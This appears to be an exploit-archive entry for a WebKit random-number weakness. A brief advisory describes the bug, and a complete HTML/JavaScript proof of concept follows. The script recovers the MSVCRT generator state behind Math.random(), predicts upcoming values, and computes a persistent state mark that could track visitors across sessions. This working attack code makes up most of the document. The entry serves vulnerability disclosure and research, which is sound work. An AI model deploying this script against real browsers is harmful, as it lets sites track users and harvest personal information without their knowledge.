source: https://www.securityfocus.com/bid/44952/info
WebKit is prone to a random-number-generator weakness.
Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.
<html>
<body>
<script>
document.write("Browser: "+navigator.userAgent);
</script>
<br>
<br>
<script>
interval=200;
iid=null;
function setint()
{
interval=document.getElementById('x').value;
clearInterval(iid);
iid=setInterval("recalc()",interval);
return;
}
</script>
<form>
Polling interval:<br>
Use low values (e.g. 200) for PRNG state mark demo and reseed
counting<br>
Use high values (e.g. 5000) for PRNG prediction demo<br>
<input type="text" id="x" value="200"><br>
<input type="button" value="Change" onClick="setint();">
</form>
Total MSVCRT PRNG invocations (since this page load):
<div id="total"></div><br>
MSVCRT PRNG invocations since last reseed:
<div id="current"></div><br>
MSVCRT PRNG reseed count (since this page load):
<div id="reseed"></div><br>
MSVCRT PRNG state mark:
<div id="mark"></div><br>
Current Math.random():
<div id="math_random"></div><br>
Calculated next Math.random() values:
<div id="next"></div><br>
<script>
var total_counter=0;
var current_counter=0;
var reseed_counter=0;
var state=0;
var mark=0;
function adv(x)
{
return (214013*x+2531011) & 0x7FFFFFFF;
}
function update_counters(reseed)
{
document.getElementById("total").innerText=total_counter;
document.getElementById("current").innerText=current_counter;
document.getElementById("reseed").innerText=reseed_counter;
document.getElementById("mark").innerText=mark;
m=Math.random();
state=adv(state);
state2=adv(state);
state2=adv(state2);
document.getElementById("math_random").innerText=m;
document.getElementById("next").innerText=
((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);
state2=adv(state2);
state2=adv(state2);
document.getElementById("next").innerText+=" "+
((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);
}
function find_mark(st)
{
for (;;)
{
if ((st & 0x3FF)==0)
{
return st>>10;
}
st=adv(st);
}
}
function recalc()
{
var rr=new Array();
rr[0]=Math.random()*Math.pow(2,30);
// Try to resync with the PRNG.
// Allow up to 1000 iterations from previous sync
for (k=0;k<1000;k++)
{
state=adv(state);
if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&
(((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))
{
state=adv(state);
total_counter+=k;
current_counter+=k;
mark=find_mark(state);
update_counters(false);
return;
}
}
rr[1]=Math.random()*Math.pow(2,30);
var r=new Array();
for (i=0;i<2;i++)
{
r.push(rr[i] & 0x7FFF);
r.push(rr[i]>>15);
}
for (v=0;v<(1<<16);v++)
{
state=(r[0]<<16)|v;
for (j=1;j<4;j++)
{
state=adv(state);
if (((state>>16)&0x7FFF)!=r[j])
{
break;
}
}
if (j==4)
{
reseed_counter++;
current_counter=0;
mark=find_mark(state);
update_counters(true);
return;
}
}
}
recalc();
setint();
</script>
</body>
</html>